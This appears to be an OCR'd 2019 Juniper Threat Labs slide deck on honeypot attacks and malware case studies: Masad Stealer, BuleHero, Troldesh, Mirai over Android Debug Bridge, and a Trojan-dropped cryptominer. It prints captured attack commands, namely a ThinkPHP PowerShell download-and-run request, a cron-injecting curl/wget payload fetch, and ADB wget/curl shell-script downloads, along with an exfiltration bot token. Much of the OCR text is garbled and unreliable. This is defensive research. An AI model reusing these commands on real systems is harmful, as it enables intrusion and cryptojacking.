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THREAT DISCOVERY:
A DEEP DIVE INTO
JUNIPER THREAT LABS

Mounir Hahad

Head of Juniper Threat Labs
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AGENDA

* Juniper Threat Labs intro

« Daily Attacks

* Source of data

 Stats (source countries, ports, etc.)

« (Case Study 1: BuleHero Cryptominer

* (Case Study 2: Troldesh Ransomware + cryptominer
» Case Study 3: Mirai botnet + ADB

» Case Study 4: Trojan + Cryptominer

 Detection Methods

* SRX Next Gen Firewall
» SkyATP Cloud Advanced Threat Prevention

e JATP On-Premise Advanced Threat Prevention
Appliance

* Juniper MX Routers with Seclntel
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JUNIPER THREAT LABS

STAY INFORMED
DRIVE DETECTION

PROJECT OUR LEADERSHIP
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Ju#ljgé??usmess ﬁs[eJS v



JTL SOURCES OF INFORMATION

CYBER
Cyber Threat Alliance THREAT

ALLIANCE
 Open Source Intelligence

« US-CERT

* Customer Detections

« Honeypots

 Social Media

* Closed Security Groups

© 2019 Juniper Networks
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JTL HONEYPOTS

ﬂijapan

Hong Kong

Australia

© 2019 Juniper Networks Juniper
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JTL THREAT INTELLIGENCE OPERATIONS

Reputation Sources

C&C network rule generation

Threat Intel Generation (Continuous updates)

Threat Analysis Lab - Interactive Detonation Sandbox

Efficacy monitoring feedback loop

e C&C rule hits, blocked IPs, etc.
« Malware detections

© 2019 Juniper Networks JUﬂIPer ‘
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JTL THREAT RESEARCH

Blue Sky Research Prototypes

Mobile Threat Inspector - End user visibility
Encrypted Traffic Analysis

DGA detection

Signature-less loT botnet traffic detection
HoneyProcs - Process Injection Detection
Threat Hunting rules

Sample Clustering

Crawlers, Honeypots for Threat Discovery

Daily Top Sites crawling

Low interactivity TCP Honeypot
High interactivity ssh honeypot
SMB, RDP, HTTP honeypots

JUNIPER THREAT LABS

MOBILE THREAT INSPECTOR

Device: Iphone

Manufacturer: Apple, Inc.

Gecko Version/11.0 Mobile/15D100
Safari/604.1

Servers visited by this device in the last 86 seconds:

CLEAR LIST RELOAD

HTTP fingerprint 1

202 0ENE  USA appldnid.apple.com

HTTPS Browser

api.mixpanel.com

e llFeE  USA configuration.apple.com

20ZBIENEE USA  dl-media.viber.com
M USA e.crashlytics.com

User agent: Mozilla/5.0 iPhone CPU iPhone OS 11_2_6 like
Mac OS X AppleWebKit/604.5.6 KHTML, like

© 2019 Juniper Networks

Juni
Junipe

Jun

IPer

NETWORKS

13



Tr “,

|
a

Daily Attacks

— / 3 b
5.

’//4

1} . - -
-" e w ¥,
.

Juniper | 1

NNNNNNNN



HOW OFTEN ARE YOU

ATTACKED PER DAY
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HOW OFTEN DO YOU GET ATTACKED EACH DAY?

O =0
4640 prope ﬂ 908 attackers

18s
O
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EXAMPLE 1 OF HONEYPOT ATTACK

# offset
t prospector.type
# req_length

t request

D request_time
t source

t src_ip

@ a@=* 1,380,211
@ q [ * log
@ @ @ * 658

@ @ [ * GET /public/hydra.php?xcmd=cmd.exe%20/c%s20powershel1%20(new-object%28System.Net.WebClient).DownloadFile( 'http://Tid.hognoob.se/download.exe', '%SystemRoo
t%/Temp/ lugwzimxshmugdr24469.exe' ) ; start%20%SystemRoot%s/Temp/ lugwz imxshmugdr24469.exe HTTP/1.1

Connection: Keep-Alive
Accept: =/%
Accept-Language: zh-cn
Referer: http://:

|Th'inkFHF framework Remcte ccmmandsl

e

.1801/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Met.WebClient).DownloadFile('http://fid.hognoob.se/down
load.exe', '%SystemRoot%/Temp/ lugwzimxshmugdr24469.exe') ;start %SystemRoot%/Temp/lugwzimxshmuqdr24469.exe

User-Agent: Mozilla/4.@ (compatible; MSIE 9.@; Windows NT 6.1)

Host: 1881

@ & [@ * July 10th 2019, 00:26:087.000

@ @ [0 % /home/pkimayong/tcphoneypot/logs/fakehttp_871819. log

@ g @ % 36.91.114.174

© 2019 Juniper Networks
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EXAMPLE 2 OF HONEYPOT ATTACK

offset
prospector. typ offset
reg_length

request

reguest_time
source
src_ip

src_port

@ a @ *
Qa @ *
Qa @ *
Qa @ *

@ a @ *
Qa @ *
Qa @ *
Qa @ *

6,266,332
log
718

PUT /fileserver/go.txt HTTP/1.1
Host: 18161
Accept-Encoding: identity
Content-Length: 603

*/4 % * % * root {curl =fsSLk —-max-time 175 https://an7kmd2wpdxo7hpr.onion.pet/src/ldm =0 ~/.ntp||curl =fsS5Lk —-max-time 175 https://an7kmd2wpdxo7hpr.o
nion. ly/src/ldm -0 ~/.ntp||curl =fsSLk —-max-time 175 https://an7kmd2wpdxe7hpr.onion.ws/src/ldm -0 ~/.ntp||wget —-quiet —--no-check-certificate —timeout
175 https://an7kmd2wpdxo7hpr.onion.pet/src/ldm =0 ~/.ntp||wget --guiet --no-check-certificate —-timeout 175 https://an7kmd2wpdxe7hpr.onion.ly/src/ldm -0
~f.ntp||wget --quiet --po-check-certificate --timeout 175 https://an7kmd2wpdxo7hpr.onion.ws/src/ldm -0 ~/.ntp) && chmod +x ~/.ntp & sh ~/.ntp

brg

July 5th 2019, 0@:89:56.000
/Shome/pkimayong/tcphoneypot/logs/fakehttp_B878519. Llog
223.221.36.184

45,335

© 2019 Juniper Networks
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MOST USED USERNAMES & PASSWORDS ON SSH HONEYPOT

master

1 1111 m
plemspip W 7ujMkoOadmin
22 1 test N
nobody M ubnt -
111111 W adminl123 .
manager W 987654321 mm
1234 W master I
administrator 123 mmm
operator password I
nagios I 111111 -
ftouser I 12345678 mmm
default B manager N
o 1234 —
U 12345  m—
guest 123456 I
telnet  HEE telnet I 114,567
i —— 115,611 [Blank] I
o admin
0 2000 4000 6000 8000 10,000 12,000 14,000 16,000 18,000 20,000 0 1,000 2,000 3,000 4,000
© 2019 Juniper Networks i JUﬂIPer ‘ 19
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2019Q3 TOP ATTACKERS

United
Germany Kingdom

Indi Me |Bra

a xico | zil
Fran

i [
Taiwan ~ H. »

R
NIE! United States """ Vet IR,

nam

Russia United States B Czechia ® China Taiwan
Netherlands Germany United Kingdom France Vietnam

India Mexico Brazil B Republic of Moldova M Turkey

B Thailand Republic of Korea B Indonesia Iran Hong Kong
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2019Q2 TOP ATTACKERS

© 2019 Juniper Networks

China

Canada

United States

United States M Russia

Turkey Germany

Russia

tn:

M Vietnam India Indonesia

B Netherlands M Taiwan M Philippines
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Indonesia

Brazil France

M Venezuela M Ukraine

Brazil

Greece

Germany

Greece

Iran

France

Thailand Canada

Netherlands Taiwan

| Ukraine Iran

Hong Kong

Venezuela

Thailand

Hong Kong
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2019Q3 TOP ATTACKED PORTS

HTTP

8088

© 2019 Juniper Networks

1723

1433 W 445

3389

80

PPTP

135

3390 " 8080
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81

443

34567

RDP

139 m

epmap

8080

http-alt https
HTTP

5555 ® 9200 m 8888 H 8000
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2019Q2 TOP ATTACKED PORTS

135

DCOM
HTTPS SCM

8080

AL srv NetBios

ADB
7001 '
HTTP W...
s
H...

SMB RDP e e

AFS callback HTTP  FIOS (M. .. H...

445 3389 8088 M 80 1433 7001 443 135 8080 81 139 5555 8545 37777 W 60001 M 5432 9200 2221 8888 27017

23
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2019Q3 GROUPING INTERESTS

Port 8088 - HTTP

|

Port 1723 - PPTP Port 1433 — MS-5QL

© 2019 Juniper Networks _JUﬂIPer ‘ 24
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2019Q2 GROUPING INTERESTS

Port 445 - SMB

Port 3389 - RDP
<
E GO\l
Un iteq Srate 5

Port 8088 - HTTP

United States

© 2019 Juniper Networks
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SKYATP PE32 MALWARE FAMILY DISTRIBUTION

VirTool:Win32/Ceelnject, 18%

VirTool:Win32/Ceelnject
Worm:Win32/Vobfus
TrojanDropper:Win32/Gepys

M PUA:Win32/MyWebSearch

© 2019 Juniper Networks

Trojan:Win32/
Occamy, 3%

Backdoor:Win32/

Qakbot, 3%
Trojan:Win32/Tiggre, 5%

Trojan:Win32/HawkEye, [T Spy:\ ) Worm:Win32/
8% el b Vobfus, 3%

Trojan:Win32/HawkEye M Trojan:Win32/Tiggre
Trojan:Win32/Occamy Ransom:Win32/Troldesh
BrowserModifier:Win32/Qiwmonk VirTool:Win32/Obfuscator

M Trojan:Win32/Ursnif M Ransom:Win32/Cerber

Juiiihipsr Business Uss Qnly

Ransom:Win32/
Troldesh, 3%

Trojan:Win32/Emotet,
2%
M TrojanSpy:Win32/Haweyelog
Trojan:Win32/Emotet
M None

Trojan:Win32/Trickbot

PUA:Win32/ TrojanDropper:... BrowserModi...
InstallCore, 1% Gepys, 1% Qiwmonk, 1%

\' ‘
T

' Ransom...
VirTool:Win... Trojan:Wi... = Cerber,
Obfuscator, Ursnif, 1% 1%
1% O

Troian: Trojan... Trojan... Trojan...
M Trichbc.).t” Dorv, Adload, Pwste...
| < 1% 1% 1%

1%

f
. -
None, 1% Trojan:... 0%

Kovter,
1%

Trojan:...
, Nin Wacatac,
Gepys, 1% 1%
Backdoor:Win32/Qakbot
PUA:Win32/InstallCore
M Trojan:Win32/Gepys

Trojan:Win32/Kovter
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MASAD STEALER

= Off-the shelf malware Don't have Telegram yet? Try it now! >
= Telegram Customer Support group (still active)
= Exfiltration via Telegram protocol

Version 2.0 ' . ' Version 1.0

- YnyyweHHbH OTCTYK | - BecnnatHasa BepcHsa

- MoaAepxKa HUKOAA - florn npuxoaar TONILKO sam *LOSSAP

- CTHAN KOWENbKOB ' S TEALER !z PRRSMUR}> pacoraer Ha Hac MASAD PrOjECt

jax, electrum ]
- Crunn SDA,pdf — ;—_—__—.—___J Mlonyyute 6ung npamMo cenyac:
docx, xIsx Jlorn ApuxoAAT Bam B TenerpaMm masadproject.life 318 members, 66 online

- YMeHbweH Bec bunga Paboraer no scemy Mupy

8 5 $ s - ;\@Jew_s eller 0$ / 4 0 $ fif‘ St i R
- .v A9 4 @ Sp a ce 4 y ou (c Bawnmm \t: - JOIN GROUP V.

KOWeNnbKamMm)

28
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ATTACK VECTOR

. . MName = Size
» Autolt-Compiled Windows
Executable ® | Fortniteaimbot 2019.exe 2.105 KB
Tradebot binance.exe 1,748 KB

* Masquerading as other tools or
bundled with other software

Creator wvl.3.: [FULL CRACK] .exe
HACEKE CRACEED (PUBG,CS GO, FORTHNITE, GTARA 5,DOTA) .ex

WS ]'."ir-lILHTTP'_'_'IlI_II exe
FRADMIR C HEET MON
Tradebx«

Jun|
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INSTALLATION & PERSISTENCE

* Persistance: Creates a scheduled task to execute every minute

g2 Task Scheduler

File Action View Help

e A [ 7 s

€ Task SEhEdh'“:E E:&czl} Name Status | Triggers Next Run Tim

= L?SM:@; "Lbran & (PeYLS14... Ready At 11:25 PM on 9/4/2019 - After triggered, repeat every 00:01:00 indefinitely. 9/16/2019 9:
I OfficeSoftwareProt | 4 | |

| T-9-3-65-1213794 |-
1 WPD General | Triggers Actions |C{:~nditic+n5| SEttingsl History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these a
using the Properties command.

Action Details
Start a program  "CAUsers\Administrator\AppData\Roamingiamdéd_usbhub3.inf.resources\ws2_32.exe"

Juniper

NETWORKS

| 30
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STEALER FUNCTION

SAMPLE DATA STOLEN FROM SANDBOX DATA IT IS CAPABLE OF STEALING

| amd64_usbhub3.inf.resources

= | | .~ Administrator ~ AppData * Roaming ¥ amd64_usbhub3.inf.resources

COrganize ¥  Includeinlbrary ¥  Sharewith *  New folder

s

. Favorites —{  Name * Date modifiec
M Desktop ENU_301DE972F412439E9D41 9/12/2019 1
A Downloads BB ENU_301DES72F412439E9D4L.72 9/12/2019 1
=» Recent Places -
0 ws2_32.exe 5 ||@ C:\Users\Administrator\AppData\Roaming\amd64_usbhub3.inf.resource|
B Desktop Name | sze|  Packed Size | Modified At
| Cookies 9493 142 192 2019-09-12...
) 1138 0 2019-09-12...
|| information.txt - Notepad 4586 2019-09-12...
Fle Edit Format View Help = Screen.jpg 175 862 2019-09-12...
/ \
# |=== MASAD FREE CLIPPER + STEALER ===
# | |
# |==== GET FREE CLIPPER + STEALER ====|
# |=== http://teleg.run/jew_seller ===|
# \ /
Date: 12.09.2019, 01:19:33
Main Information: o
- 05: Windows ~— ™7 T
- UserName: faw = =
- ComputerNan= ® = = = n
- VideoCard: " a &
- Processor: mm mEn - -y
- Memorv: 2.00 Gb
© 2019 Juniper Networks _JUﬂIF’ef ‘ 31
NETWORKS

Juiiihipsr Business Uss Qnly



EXFILTRATION

SENDING THE ZIP FILE TO A TELEGRAM BOT

Request Headers

GET /bot719604859-AAE3Pg_oJ8cPgTxKzDiysU-3Zpj6hsBxNgligetMe HTTP/1.1

Cache

Cache-Control: no-cache
Client

User-Agent: Autolt
Transport

Host: api.telegram.org

Get Syntax\View | Transformer | Headers | TextView | ImageView | HexView |

Raw |[1son | xmL |

KNOWN TELEGRAM BOT OPERATORS

Telegram Bot ID

Telegram Bot Username

=-J50N
- ok=True
= result

- first_name=menemkne

----- id=719604859

- is_bot=True
- username=menemkne_bot

bot610711208 potterk_bot
bot830353220 reaperZ28bot
bot661436794 RanisYolo19_bot
bot796671289 dfskinjfmkdvehfsf454sdibot
bot870978042 dawdvwabot
bot753197414 korote_bot
bot823037532 NA/Inactive
bot699500942 RcbBots_Bot
bot831297312 xAmytBot
bot8836068782 bichpaket777_bot
botG56889928 notius_bot
bot613436470 idontknowubot
bot911603667 Masat_bot
bot963764792 NA/Inactive
bot930786995 reborntodes _bot
bot884837464 istrong_bot
bot646596033 SkyDen_bot
bot865594389 gnoy199519bot]

© 2019 Juniper Networks
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CLIPPER FUNCTION

Crypto Currencies

Monero Bitcoin Cash  Litecoin Neo Web Money
ADA ZCASH DogeCoin  Stratis QIWI Pay
Bicond Waves Reddcoin  Qtum Payeer
WatChing the Clipboard Bytecoin Bitcoin Black Coin VIA
for SpECiﬁC Crypto-wa”et Steam Trade Link  Bitcoin Gold Emercoin  Lisk
String patternS and Ethereum Dash Ripple Yandex Money
replaces It Wlth ItS own Address  1AtwyYF2TGRI69cYRDrR2XFDASPZWCXK e

Balance 15206 USD

« Sample fraudulent wallets: 0.015 58625 BTC
Bitcoin: 1AtwyYF2TGR969cyRDrR2XFDqSPzwCXKfe Total Received 9031.49 USD 0885 0221 BTC
M onero. Total Sent 8,872.63 USD 0.869 £35 91 BTC
42Mm9gjuUSmPNr7aF1ZbQCédcTeSi1MgB1Tv41frvlZ
RFWLn4WNoLH3LDAGn9Fg2thW2VRHTz8Fo9ZA|t95 Address 1AtwyYF2TGRI69cyRDrR2XFDGSPZCXK fe
1D2pDY8ggCR

© 2019 Juniper Networks _JUﬂlper ‘ 33
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MINERS INSTALLATION

MASAD Project

488 members, 46 online

© 2019 Juniper Networks JUﬂIPef ‘ 34
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JUNIPER PROTECTION

Threat level: (D) High [1]Medium Low « Mone; clean

Threat level == 4 x

File Hash (SHA-256) Threat Level Filename
eq. 123, 456 Q H
848d76a22714fe282b7ddid8 2a6dic4c25da2735a684462b42fede1c413d8e34 O 10 wevtutil.exe
44134b9d4b10d94i6381b446a1728b116d62e65c1a52db45235af12calTe38c0 O 10 Build.exe
965a5949d8f94e17ebcd4cb6d0a7 c19f49facbfc1b1c74111e5ceb83550d6 c8F @ 10 ‘Windows_Video_montagerexe
b763054180cd4e24c0a78b49055ad36dbcB4911a096cddi2dbB8ceedbd338c21d @ 9 Pictures.exe
3ba3ch28d11d1di62a969a282e9e54534fb384596267 2ad6d8bbc29ch6d06215 O 10 Utiiman.exe
ef623aadd50330342dc464a31b843b3d8b5767d62a625e515ac2b380b208be [O):] Build.exe
c73675005a09008bc91d6bc3b5ad59a630ab4670dcabac0d926165a3ecfid8da2 (D 10 mmgaserver.exe
5b5ebe019306885bbaafe37bc10cald549e41c240b793fd29a7 0690a5d80b496 O 10 dns-sd.exe
d01d40f33110758c145d479823baee3739d7T2068351de40350b604298d2dbf1 [OF:] ByNoBann.exe
Gcff1249cc45b61ceB8d28d8718edc6 16447238 168e610bed 1421009 c46ea684 O 10 lodctrexe
0dcib47bd3f4074a197416d8b84eab4b213319064aadbceb4ad0c2e2d3957175 CD 10 Build.exe
Gbféb1bde63ceedbd1902efd187fdd56ecee5853754ce0a19d5ab5c3b024 2988 O 10 Build.exe
b154151dc8ace5c571109e6bb211a019db20c4f0127 c4d13cT7 037200749276 o 10 Build.exe
bf6083040ca51e8341527c9412d%9e3d700bd0841493b207bc96abB44ablca? O 10 SMS-BEOMBERINHO v26.exe
dfe3d0e95feaedG85a784aed14d087b019ba2eb0274947a840d2bdbaedae3674 O 10 C\Users\=USER=\AppData\Roam
f030b4eB59ee6a97c50c973a7 Idced3640befe 371579cid 15367 cebadbbede2 [OF:] msdt.exe
© 2019 Juniper Networks JUﬂIPer ‘ 35
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What is the Masad Clipper and Stealer?

Telegram messaging platform for data exfiltratio

©LightReading

ECURITYNOW

ABTV  Application Cloud Endpoint Infrastructure loT/Embedded Mobile

Special Report: SD-WAN Security

NOW Best practice’s security for your next generation network

Obtain the full report ‘

» ABTV

Masad Stealer Uses Telegram to Send Its
Control Messages to Waiting Bots

Larry Loeb, Author, 10/2/2019 Login
Email This Print Comment

Security researchers from Juniper Threat Labs have reported

how spyware delivered by a Trojan and using the encrypted

A Home WET News Finance Sports Entertainment Search
yahoo/ ,
finance
Finance Home Watchlists My Portfolio Screeners Premium g

SecurityIntelligence

Series

A new bit of malware called Masad Stealer can replace wallet addresses
as you type them thanks to malicious code injected into your browser.
According to Juniper Networks, it also steals:

Masad Stealer Exploits Telegram
in Cryptocurrency Theft
Campaign

=9ECURITY WEEK

INTERNET AND ENTERPRISE SECURITY NEWS, INSIGHTS & ANALYSIS Subscribe | 2019 CISO Forum, Presented by

October 1, 2019 @ 12:20 PM | By Shane Schick | 2 min read

L 4 A malware strain dubbed Masad Stealer is usin,
the Telegram messaging app to steal

in cryptocurrency by accessing browser

I

passwords and clipboard information, security
researchers learned.

As detailed in a blog post from Juniper Labs, the|
malware can allow cybercriminals to replace
clipboard information with addresses they
control, using Telegram to exfiltrate the

Malware & Threats Cybercrime

'Masad Stealer' Uses Telegram to Exfiltrate Data

By Ionut Arghire on September 30, 2019

) o [ oo

THE ORIGINAL SCADA/ICS
CYBERSECURITY CONFERENCE
| & October21-24, 2019 | Atlanta

Fics

!
l:'iBEﬂ SECURITY
COMNFERENCE

Mobile & Wireless Risk & Compliance Security Architecture Securit

I3 Recommend 0 h-_!g'“!j

information. This process lets attackers access
wallets containing Monero, Ether, bitcoin and

A recently identified data stealer is using Telegram to exfiltrate information harvested
from infected machines, Juniper Networks security researchers say.

other forms of cryptocurrency.
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BULEHERO cryptominer
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BULEHERO ATTACKS

. B

S

&

Eternalblue m

Doubleplusar @i

Web Exploits

Brute-Force Attack q
Mimikatz
PSExec

@ ThinkPHP'
ORACLE' -

& STRUTS

EternalBlue & Double Pulsar
Added ThinkPHP & TomCat Exploits
XMRig Miner

© 2019 Juniper Networks _JUﬂlper ‘ 39
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Trolldesh:

’//

Ransomware + cryptominer
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TROLDESH ATTACKS

Distribution Monetization

&-l-l

[

Spam
www. | 2-Layer Packer
|nfectei§d - Strings Obfuscation
Dynamic API Resolution
@ - 3 Static Link TOR Client
CMS Brute-Forcer (SQL
CMS Bruteforcer Troldesh Injection)
Zcash Miner
© 2019 Juniper Networks Juniper a4
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Mirai + Android Debug Bridge
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ANDROID DEBUG BRIDGE

Direct Connection to Android device via WiFi or USB.
Uses port 5555.
Execution of system or shell commands.

No authentication required ©

Disabled by default.

© 2019 Juniper Networks JUﬂIPer ‘ 43
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ATTACK CYCLE

Shell Code

Binary payload

jlimperBusinessUssonly 2 e |



COMMAND EXECUTION

cd /data/local/tmp;

busybox wget http://185[.]1159.82.110/r -0 ->r;
sh r;

wget http://185[.]159.82.110/br -0 ->12;

sh r2;

busybox curl http://185[.1159.82.110/bc > r3;
sh r3;

curl http://185[.]1159.82.110/c > r4;

sh r4;

rm -rf r r2 r3 r4

© 2019 Juniper Networks JUﬂIPer ‘ 45
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SHELL CODE - BUSYBOX-WGET CASE

://$http server/

chmod 777
v 51

rm -—

JUnipgr
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BINARY PAYLOAD

XOR 0x22

cnc.changeme. com
t"report.chan
geme.com “"go0"lis
tening tun@ "htt
ps://youtu.be/d(

[1]

wdwOWgXc( " /proc
S "fexe " (delet
ed) "/fd ".anime
"[status "uidfs
ibufsduibfsdbuif
sdbui "HTTPFLOCD
"LOLNOGTFO ™\x5
B\ ADN xAE\xAE\ x4
3\x50\x46\x22 "z
ollard "GETLOCAIL
IP "shell "enabl
e "system "sh "/
bin/busybox MIRA
I "MIRAI: applet
not found "ncor
rect “/bin/busyb
ox ps "/bin/busy
box kill -9 "TS
ource Engine Que
ry “fetc/resolv.
conf “"nameserver
"Connection: [

Mirai botnet + worming

Juni
Junipe’

PY, Blsine

255, MY
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Trojan + CryptoMiner

— / 3 b
5.

1} . - -
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.
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TROJAN LEADS TO CRYPTOMINER

* Apache struts2 or Weblogic exploits
* Powerful Trojan Downloader
 Monero miner - minexmr.com mining pool

1
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TROJAN ARMORING AND PERSISTENCE

Language, Device and Operating System Detection

Anti Debugging

Anti Analysis armoring (detects sleep acceleration, VM artifacts like VMCI bus driver, CPUID,...)
HIPS / PFW / Operating System Protection Evasion

Boot Survival - installs a service

Hooking, Clipboard capture

Downloads secondary payload.
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SERVICE CREATION

“?

View Help

Efghij Lmnopgrs Uvwaxyabc Efghd

%4 Services
File  Action
A dach|
2 4 Services (Local)
d
der XI
1B Windows Task Manager

File Options View Help

=]

| Applications | Processes | Services | Performance | Networking | Users |

Mame Description Status
£, ASPMET State Service
%, Background Intelligent Transfe... Transfers fil...
%, Base Filtering Engine The Base Fil.,  Started
BitLocker Drive Encryption Serv... BDESVC hos...
2 Block Level Backup Engine Ser..  The WEBEMG...
5 Bluetocth Suppoert Service The Bluetee..
This service ...

Provides su...

(BranchCache
(, Certificate Propagation
£, CNG Key Teolation

Copies user .. Started
The CHG ke,

4 COM=+ Event System Supports Sy.  Started

L4 COM+ System Application IManages th..,

L Computer Browser Maintains a...  Started
Credential Manager Provides se.

“: Cryptographic Services Provides fo...  Started
£+ DCOM Server Precess Launcher  The DCOM...  Started

Startup Type
Manual
Ianual
Automatic
Ianual
Manual
Manual
Manual
Manual
Manual
Autcmati
Ianual
Manual
Ianual
Autermati
Autermati

Image Name User Name C;JU Memory (... Description -
l jickie.exe SfSI'EM 35 72K '\“Ed
CSrSS.EXE SYSTEM 15 1,008K  ClientSer... |z
iickie.exe SYSTEM an 1,222K  Wad
svchost.exe SYSTEM an 356K HostProc, |
netl.exe SYSTEM oo 604K MetCom...
net.exe SYSTEM oo 572K MNetCom...
cmd.exe SYSTEM o0 504K Windows ...
conhost.exe SYSTEM o0 416K Console ...
cmd.exe SYSTEM o0 544K Windows ...
WmiPrvSE.exe  SYSTEM an 1,340 K WMI Pro
cmd,exe SYSTEM ] 43K Windows ..,
conhost.exe SYSTEM o0 412K Console ..
taskmar exe SYSTEM a0 883K Windows ...
conhost.exe SYSTEM o 432K Console ...
wmpnetwk.exe  NETWO... o 5,208K  Windows ...
Show processes from all users

Processes: 51

CPU Usage: 100%

Phiysical Memcry: 25%

Eﬁw

Extended

Standard

iickie.exe Properties

General | Compatibilty | Securty | Details | Previous Versions

iickie exe

Typs of fils:  Application | sxe}

Description:  Wzd

Location: CiWindows'System32

Size: T2.0 KB {73,728 bytes)

Size ondisk:  72.0 KB {73,728 bytes)

Created: Today, August 24, 2018, 3 minutes ago
Modified Today, August 24, 2018, 3 minutes ago
Accessed Today, August 24, 2018, 3 minutes ago

Advancs

Aftributes:

Read-orly

ok || ceea ||

utomati
utcmati
utcmati
anual
anual
anual
utomati
anual
utomati
utomati
anual
anual
anual

anual

Log On As -
Metwork 5.
Local Syste..
Local Service

Lecal S;m'\ceservice

Efghij Lmnopqrs Uvwngyahe Efghd Properties (Local Computer) =]

General | Log On | Recovery | Dependencies |

Service name Efghid

Display name: Efghij Lmnopars Uvwseyabe Efghd

Description ‘E{ghqk\ MNopgrstuv ¥yabede Ghijkimn Pgrd N

Path to executable

Statoptyps [ Automatic -

Help me corfiqurs service startup aptions

Service status Started

[ s [ Fam ]|

You can speciy the start parameters that apply when you start the service
fram here.

Start parameters: | |
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DOWNLOADING CRYPTOMINER

Wireshark - Follow TCP Stream (tcp.stream eq 7) - 1534984254157600-2

GET /scvsots.exe HTTP/1.1 =
User-Agent: Mozilla/4.@ (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: ad46.bulehero.in
Cache-Control: no-cache
HTTP/1.1 200 0K
Content-Type: application/octet-stream
Content-Length: 2214400
Accept-Ranges: bytes
Server: HFS 2.3k
Set-Cookie: HFS5_SID_=0.904264275217429; path=/; HttpOnly
ETag: GF41962405BODE14B1CO9E6CA9DF3IFA314
Last-Modified: Mon, 20 Aug 2018 18:31:25 GMT
Content-Disposition: attachment; filename="scvsots.exe";
[{Fc0onsc000nc00s5000acca (Joccaoaccooocoonscoooocanasononscono coooacoas
.!..L.!This program cannot be run in DOS mode.
k20000 0c0005000030000050000000005003000005000500000200050000 Heocooncaoozcoas
......... “5scoopancoocococooacoall JJooocoonaconoacoEaocoooaliHilocacoccoas
.................. ME:clbooonooif[cccooncannccoanscaloncoonsoa
Bi=...... [(Bscoisncacoccoonccansccaonscannac Sooocoooscoooncoonscononco0n3000a
............. hv= S Eallnsaaere0aca0c0a00aa00a000608 000080068 00060008000 A
.......................................................... UPXB. ............
....................... UPXd. .. ... . ... e B, TEFC. ...
.p=.
nocaloccoonscananc (Hooccoooocanaccooncoonocoonsc0000c00050000300000500350000
..................................................... 3.94.UPX!
f...M'" . M=, .! oltte o #oncco u.
Klocooonoao ocoodlllcaaalconsccasn Heooooca @..A...... B8 sMoooncao =scooo
)acoonooa m....t..AL&. .t."..p...... t At
....... u @...+..<8Q.E. .d.u.../%x.....Q i Du..u?....&8........X
EW.U...2 H#canas H=...X..]~T$*....L5...u
9&..... H..u P 1 R V.. T u+
$Ia A i A 1 - T+ n AN? D - A ;I

3 client pkts, 1,521 server pkts, 3 tums.
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JUNIPER ADVANCED THREAT PREVENTION

ED THR Y AN C £ Refresh Data (1] & CyView Admin ~~

Dashboard Incidents File Uploads Mitigation Reports Custom Rules Config

All File Uploads (4 shown)
Search: Last Manth j o5 Upload File

Status 4 | incident1d 4 | Risk Threat File Name Date & Time

HIGH TROJAN_CRYPT_FKM 483b9102b4adB47{5e96aa4 TRTI2a613d2a51ef605c8224afe0a369d09a 15T i Aug 24 12:17:08 PDT

Details for TROJAM_CRYPT_FKM

SUMMARY UPLOADS

- e e e

TROJAM_CRYPT _FKM PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed vtaps0
Threat Name: TROJAN_CRYPT_FKM i",; Find on VirusTotal
Threat Category: Trojan_Generic n Download Sample
File Mame: 483b9102b4ad84Ti5e96aa478T92a613d2a51ef605c8224afe0a369d0%aT5eTY B Download Behavior Log
File Type: PE32 executable (GU) Intel 80386, for MS Windows, UPX compressed c te VP
LW Generate
Golden Images:
Add to Whitelist
File Size: 2,214,400 [2MB)
ﬁ Report False Positive
File Hashes: MD5: {d409d4d20e580215¢c1ec0B03eedd725
SHAL: 02focfoded6aboeTB0755215857cOba0ale25065 Screenshot
SHA256: 483b9102b4adB847i5e96aa478792a613d2a51ef605cE224afe0a369d0%aT5eT
Packer: UPX v0.89.6 - v1.02 [ v1.05 -v1.24 -> Markus & Laszlo [overlay]
Signed by: M/A
History
Analysis Timestamps: Aug 24 12:29:06 POT m
© 2019 Juniper Networks _JU
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JUNIPER SKY ATP DETECTION

6146abat01bbda28d669... @

Threat Level

File name 6146aba601bbda28d669d7c4...
Category executable (MIME type: a...

GENERAL BEHAVIOR ANALYSIS
A4
Status
Threat Level M9
Global Prevalence Low
Last Scanned Aug 24, 2018 5:54 PM

Report False Positive 41 Download zipped file [ Download PDF Report

Top Indicators Prevalence
Malware Name Trojan:C:Mirai:0 Global prevalence Low
Signature Match Mirai (Trojan) Unique users 1
Antivirus Clean Protocols seen
NETWORK ACTIVITY BEHAVIOR DETAILS
File Information Other Details
File Name 6146abab01bbda28d669d7c46858092 sha256 6146aba601bbda28d669d7c468580928de4c7d
8ded4c7d9c304219902c21db549d70e3 9c304219902¢21db549d70e3c5
¢S md5 0968b6032d04826dec561e6bc635d57a
Category executable (MIME type:
application/elf)
Size 38KB
Platform Generic
Malware Name Trojan:C:Mirai:0
Type Trojan
Strain Mirai.0 (Language: C)
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WHAT HAPPENS WHEN

MININCRNOR RGN E] =X
PROFITABLE?

ulinioer Business Uss nly Junipge 1 s



XMR - MONERO PRICE

I XMR-USD 313.45

300.00

200.00

Y 04458

_ + 0.00
T - - W - . I- -
Jun 2016 Jun 2017 Jun 2018 Jun 2019 Jun
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TROJAN BACKDOOR

« Language, Device and OS Detection
 Hooking

* Anti Debugging

* Anti Analysis armoring

« HIPS / PFW / OS Protection Evasion
* Malware Analysis System Evasion

« Boot Survival - installs a service

* Clipboard capture

 Downloads Secondary Payload.

4

/
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SKYATP MALWARE FAMILY DISTRIBUTION

cve-2017-118...
casdet, 2% upatre, 2% meretam, 2% 2% vobfus, 2%

| gandcrab, 1% kryptik, 1% ursnif, 1%

|
macro_vb_obfuse, 10% cryptinject, 2% zegost, 2%

andromeda, | trickbot,

0, 0,
cometer, 1% L o

. .
mywebsearch, 3% puams... miner,

suspicious... BACIE 1% 1%
1% i

presenoker, 2%

lockergoga, coinminer, en par... kua.. cry..

adw_coupons, 17% installcore, 9% emotet, 3% micronames, 2% 1% 1% : 1% 1% 1%
adw_coupons macro_vb_obfuse M installcore M donoff_macro_dldr mywebsearch emotet casdet
cryptinject presenoker micronames upatre meretam cve-2017-11882 M vobfus

M zegost M puwaders M lockergoga M gandcrab kryptik ursnif
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